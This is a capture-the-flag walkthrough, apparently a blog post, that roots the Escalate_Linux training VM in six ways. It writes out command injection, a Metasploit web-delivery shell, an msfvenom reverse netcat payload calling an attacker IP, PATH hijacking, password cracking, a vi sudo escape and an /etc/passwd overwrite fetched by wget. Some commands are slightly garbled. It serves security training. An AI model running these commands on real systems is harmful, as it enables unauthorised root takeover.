Escalate_Linux is an intentionally developed Linux vulnerable
virtual machine. The main focus of this machine is to learn Linux Post
Exploitation (Privilege Escalation) Techniques. The credit for making this VM machine
goes to “Manish Gupta” and it is a boot2root challenge where the creator of
this machine wants us to root the machine through twelve different ways. You
can download the machine following this link: https://www.vulnhub.com/entry/escalate_linux-1,323/
NOTE:
In this article we have exploited the machine by six different methods.
Security Level: Beginner-Intermediate
Penetrating Methodology:
Scanning
·
Netdiscover
·
Nmap
Enumeration
·
Web
Directory Search
Exploiting
·
Metasploit
shell upload
·
LinEnum.sh
Privilege Escalation
·
Method
1: Get root shell by exploiting suid rights of shell file
·
Method
2: Get root shell by cracking the root password
·
Method
3: Get root shell by exploiting sudo rights of user1
·
Method
4: Get root shell by exploiting crontab
·
Method
5: Exploiting Sudo rights of vi editor
·
Method
6: Exploiting writable permission of /etc/passwd file
Walkthrough:
Scanning:
Let’s
start of by scanning the network using Netdiscover tool and identify the host
IP address. We can identify our host IP address as 192.168.0.17.
Now
let’s scan the services and ports of target machine with nmap
nmap -A 192.168.0.17
Enumeration:
As we can see port 80 is
open, so we tried to open the IP address in our browser and got nothing but the
default apache webpage.
So we used dirb with .php filter for directory
enumeration.
After brute forcing with dirb we found a URL named http://192.168.0.17/shell.php
Now we opened the url in
our browser and found that it accepts cmd
as get parameter.
So, we passed the id command in the url and found the
results are reflected in response.
Exploiting
Since the target machine
is vulnerable to command injection, we created a web delivery shell using Metasploit.
use exploit/multi/script/web_delivery
set srvhost 192.168.0.12
set lhost 192.168.0.12
exploit
The target host was not
able to run the script directly, so we used url encoding.
After encoding the script,
we were successfully able to run it on the target machine and get the
meterpreter session. We got the bash shell of User6 after using python one
liner shell command.
To further enumerate the
target host, we uploaded LinEnum tool
on the target host.
upload /root/LinEnum.sh
shell
python -c 'import pty;
pty.spawn("/bin/sh")'
chmod 777 LinEnum.sh
./LinEnum.sh
From the results of
LinEnum scan we found that the target host has eight users namely user1, user2 upto
user8.
We also found that in
crontab, a file named autoscript.sh is being run every 5 minutes
with root privileges.
From the same LinEnum scan
we came to know that /etc/passwd is
writable for users also. Also we found that we can run shell and script files with root privileges because SUID bit is
enable on it.
Privilege Escalation:
As mentioned
above there are multiple ways to do the privilege escalation of this machine.
We will try to do
as many methods as possible.
Method 1: Get root shell by exploiting SUID
rights of shell file
Using the find command we can confirm that the shell file located in the home
directory of user3 can be executed
with root privileges.
We tried to execute the same file and got the root shell.
find / -perm
-u=s -type f 2>/dev/null
cd
/home/user3
./shell
Method 2: Get root shell by cracking the root
password
From the above screenshot we know that script file located in the user5 home directory can be executed
with root privileges. Using the Path variable exploitation methodology we can
access the /etc/shadow file.
To know more about path variable privilege escalation use
this link: https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/
cd /tmp
echo “cat /etc/passwd” > ps
chmod 777 ps
export PATH=/tmp:$PATH
cd /home/user5
./script
We copied the hashed
password of root user in hash file and used john the ripper tool to crack the
password. We got the password of the root as 12345 and then using the su command
we were able to access as root.
John hash
su root
Method 3: Get root shell by exploiting SUDO
rights of user1
We already know by now that script file can be executed
with root privileges.
Using the same script file we can change the password of
all the users with the help of Path variable methodology.
Here we used echo
and chpasswd command to replace the
existing password with our new password 12345.
And then switched to user1 account using su
command. After checking the sudoer’s list for user1 we came to know that
this user can run all commands as sudo.
So we ran the command sudo su and got the root access.
echo
‘echo “user1:12345” | chpasswd’ > ls
chmod 777 ls
export PATH=/tmp:$PATH
cd /home/user5
./script
su user1
sudo –l
sudo su
Method 4: Get
root shell by exploiting crontab
In the previous screenshot we saw there is a task
scheduled after every 5 minutes for user4 in the crontab by the name autoscript.sh. We changed the password of user4 the same way like
we did for user1 and then switched to user4 with the new password 12345. There we can see a file autoscript.sh in the Desktop folder.
su user4
ls -la
So what we did is we created a payload using msfvenom and then
copied the code into autoscript.sh file using echo.
msfvenom
–p cmd/unix/reverse_netcat lhost=192.168.0.12 lport=8888 R
echo
“code” >autoscript.sh
After copying the code into autoscript.sh file we executed the
file and started the netcat listener on our kali machine and waited for shell.
Yes we got the root shell
as the autoscript.sh is executing as root in the crontab.
nc –lvp
8888
id
Method 5: Exploiting
SUDO rights of vi editor
We changed the password of all the users to 12345 using the same methodology as
above and switched between users to check for more exploits. We found that user8 has a sudo permission for vi
editor.
su user8
sudo -l
Open the vi
editor with sudo and insert sh command as show in the screenshot
below, exit the editor and hurray we got the root shell.
:!sh
ids
Method 6: Exploiting writable permission of
/etc/passwd file
Continuing with enumeration of users, we found that user7 is a member of root group with gid 0.
And we already know from the LinEnum scan that /etc/passwd
file is writable for user. So from this observation we concluded that user7 can edit the /etc/passwd file.
tail
/etc/passwd
su user7
id
So we copied the contents of /etc/passwd file in our kali machine
and created a new user named raj with
root privileges for which we
generated a password pass123 using openssl.
On the target machine we downloaded the edited passwd file in the /etc folder using wget
command.
Then we tried to switch to our newly created user raj and YES yet
again we proudly got the root shell of
the machine.
cd /etc
wget –O http://192.168.0.12:8000/passwd
Su raj
id
Conclusion: So in
this part-1 of Escalate_Linux we did the privilege escalation by six different
methodologies. In the part-2 we will try to exploit the machine by some
different methods. So keep visiting Hacking Articles for next part.
